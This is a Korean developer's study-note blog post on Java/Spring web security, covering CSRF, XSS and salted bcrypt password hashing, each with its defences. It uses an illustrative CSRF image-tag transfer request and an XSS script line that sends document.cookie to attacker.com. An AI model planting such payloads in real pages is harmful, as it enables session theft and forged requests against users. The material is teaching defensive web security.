자바 웹 보안

Dear·2025년 7월 7일

TIL

목록 보기
56/74

💙 CSRF

Cross-Site Request Forgery, 사이트 간 요청 위조
사용자가 인증된 상태라는 것을 악용하여, 의도치 않은 요청을 대신 보내도록 유도(악성 요청)하는 공격
주로 사용자의 쿠키 기반 인증 정보를 이용

예시

  1. 사용자가 어떤 사이트에 로그인한다. (예: bank.com)
  2. 이때 브라우저에는 bank.com세션 쿠키가 저징된다.
  3. 사용자가 악성 웹 사이트(evil.com)에 접속힌다.
  4. 이 웹사이트가 사용자의 브라우저로 bank.com에 요청을 자동으로 보낸다.
    예 : <img src="https://bank.com/transfer?amount=10000&to=hacker">
  5. 브라우저는 자동으로 bank.com의 쿠키를 전송한다.
  6. 결과적으로 사용자는 모르게 hacker에게 송금된다.

방어 방법

  1. CSRF 토큰 사용

    • 서버에서 랜덤한 토큰을 발급해서, 요청마다 함께 전송
    • 서버는 요청 시 토큰이 유효한지 검증
  2. Referer 또는 Origin 검증

    • 요청의 출처를 확인해서, 신뢰된 도메인에서 온 것인지 검사
  3. SameSite 쿠키 설정

    • SameSite=Lax 또는 Strict설정으로 외부 사이트에서 쿠키 전송 차단
  4. 로그아웃 시 세션 삭제, 중요 요청은 재인증 요구

Spring Security에서의 CSRF

  1. 기본적으로 CSRF 공격을 막기 위해 POST/PUT/DELETE 요청에 CSRF 토큰 검증을 자동 적용한다.
    http.csrf().enable();

  2. 폼 안에 자동으로 태그가 추가된다.
    <input type="hidden" name="_csrf" value="토큰값"/>

  3. 필요하면 특정 경로만 CSRF 예외로 지정할 수 있다.
    http.csrf().ignoringAntMatchers("/api/public/**");

💙 XSS

Cross-Site Scripting(크로스 사이트 스크립팅)
공격자가 악성 스크립트(JavaScript 등)를 웹페이지에 삽입해서 다른 사용자에게 의도하지 않은 동작을 하게 만드는 공격이다.
ex) 로그인 쿠키 탈취, 피싱 페이지 유도, 사용자 계정 탈취 등

예시

  1. 공격자가 웹 사이트에 악성 스크립트 삽입
  2. 다른 사용자가 웹페이지에 접속
  3. 삽입된 스크립트가 브라우저에서 실행
  4. 사용자의 쿠키나 입력정보 등이 공격자에게 전송

어떤 게시판에 공격자가
<script> fetch("http://attacker.com/steal?cookie=" + document.cookie); </script>
댓글을 남겼을때 피해자가 해당 댓글을 보게 되면 브라우저에서 document.cookie가 실행되어 쿠키가 공격자 서버로 전송된다.

방어 방법

  1. 입력값 필터링
    <, >, " 등의 위험한 문자 제거 또는 치환

  2. 출력 시 이스케이프
    HTML 출력 시 &lt;,&gt; 등으로 변환

  3. Content Security Policy (CSP)
    외부 스크립트 제한, 인라인 스크립트 차단 등

  4. HTTPOnly 쿠키
    JavaScript에서 쿠키 접근 방지 (document.cookie 차단)

  5. 신뢰되지 않은 사용자 입력은 절대 HTML로 직접 출력하지 않기

Spring에서 XSS 대응

  1. 타임리프(Thymeleaf)는 기본적으로 XSS 방어 기능을 보유
    <p th:text="${userInput}"></p> <- 자동 이스케이프
  2. 필요한 경우 HTML로 출력하고 싶다면 명시적으로 사용
    <p th:utext="${userInput}"></p> <= xss 위험 있음
  3. API 서버에서는 사용자 입력값을 출력하기 전에 HTML escape 또는 XSS 필터 적용이 필요

💙 비밀번호 암호화(Password Hashing)

사용자가 입력한 비밀번호를 그대로 저장하지 않고, 해시 함수(Hash Function)를 이용해 일방향 암호화하여 저장하는 것

해커가 DB를 탈취했을 때, 평문(Plain Text)으로 비밀번호가 저장되어 있다면 모든 계정 탈취가 가능하지만 해시화된 비밀번호라면 복호화가 어려워 보안성이 향상된다.
즉, 해킹을 해서 데이터를 얻어도 읽을 수가 없다.

대표적인 해시 알고리즘

  • SHA-256, SHA-512 (보안적으로는 더 이상 적합하지 않음)
  • bcrypt ⭐
  • scrypt, PBKDF2
  • argon2 (최신 알고리즘)

해시 함수는 같은 입력 -> 항상 같은 출력
출력값만 가지고는 입력을 알 수 없다(일방향성)

해시와 salt

같은 비밀번호를 가진 사용자는 같은 해시값이 저장된다면?

해시 전에 임의의 랜덤 값을 비밀번호에 덧붙인다.
-> 해시 저장값 = hash(비밀번호 + salt )

같은 비밀번호여도 해시값이 모두 달라진다. (무차별 대입 공격 방지)

Bcrypt (예시)

 // 저장할 때
 PasswordEncoder encoder = new BCryptPasswordEncoder();
 String hashedPw = encoder.encode("userPassword");
 
 // 내부적으로 salt가 자동 추가
 // 해시 결과는 매번 달라진다 -> 안전함
 
 // 로그인 시 검증
 encoder.matches("입력된비밀번호", "저장된해시")
 // 내부적으로 같은 salt과 알고리즘으로 해시하여 비교
 

Spring Security의 비밀번호 암호화

@Bean
public PasswordEncoder passwordEncoder() {
	return new BCryptPasswordEncoder(); // 자동으로 salt 과 해시 적용
}

// 사용
String encodedPassword = passwordEncoder.encode(plainPassword);
boolean matches = passwordEncoder.matches(inputPassword, encodePassword);

🤍 회고

오늘은 여러 가지 보안 용어에 대해 공부했다.
그중 가장 인상 깊었던 것은 salt라는 개념이었다.
처음에는 단순한 예시값인 줄 알고, 일일이 "랜덤 값"이라고 적었는데,
문득 "왜 하필 소금(salt)이라고 부를까?" 하는 궁금증이 생겨 찾아보게 되었다.

알고 보니, 같은 비밀번호라도 소금을 조금만 바꾸면 해시 결과가 완전히 달라지기 때문에
비밀번호에 변형을 주는 작은 재료라는 의미에서 salt라고 부른다는 사실을 알게 되었다.
이걸 알고 나서야 "랜덤 값"이라고 써둔 부분들을 모두 "salt"로 바꿨다.

또한 pepper(후추)라는 용어도 새로 알게 되었는데,
이는 시스템 전체에 공통으로 숨겨 두는 비밀 값으로, 보안을 한층 더 강화하기 위한 요소라고 한다.
보안 용어에 이름이 재밌게 붙혀진 것 같다.

profile
친애하는 개발자

0개의 댓글